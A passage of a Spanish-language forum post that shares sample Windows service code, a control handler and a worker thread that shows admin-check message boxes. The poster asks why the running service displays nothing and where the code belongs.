OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Entry"));

switch (CtrlCode)
{
case SERVICE_CONTROL_STOP:

OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SERVICE_CONTROL_STOP Request"));

if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
break;

/*
* Perform tasks neccesary to stop the service here
*/

g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 4;

if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE)
{
OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SetServiceStatus returned error"));
}

// This will signal the worker thread to start shutting down
SetEvent(g_ServiceStopEvent);

break;

default:
break;
}

OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Exit"));
}


DWORD WINAPI ServiceWorkerThread(LPVOID lpParam)
{
//MessageBoxA(NULL, "Error al abrir dll", "Cannot open DLL", MB_ICONERROR | MB_OK);
OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Entry"));
if (ejecucion_admin())
MessageBox(NULL, L"EJECUCION DE ADMIN", L"EJECUCION DE ADMIN", MB_ICONINFORMATION | MB_OK);
else
MessageBox(NULL, L"EJECUCION USUARIO", L"EJECUCION SIN NINGUN TIPO DE PRIVILEGIOS", MB_ICONINFORMATION | MB_OK);
//  Periodically check if the service has been requested to stop
while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0)
{
MessageBoxA(NULL, "Error al abrir dll", "Cannot open DLL", MB_ICONERROR | MB_OK);
/*
* Perform main service function here
*/

//  Simulate some work by sleeping
Sleep(3000);
}

OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Exit"));

return ERROR_SUCCESS;
}


Lo instalé y está en ejecución pero no muestra nada.

Bueno lo dejaré por hoy, ya lo miraré con detalle como funciona y demás.

O de otra manera, ¿dónde debería de ir el código?.

Saludos.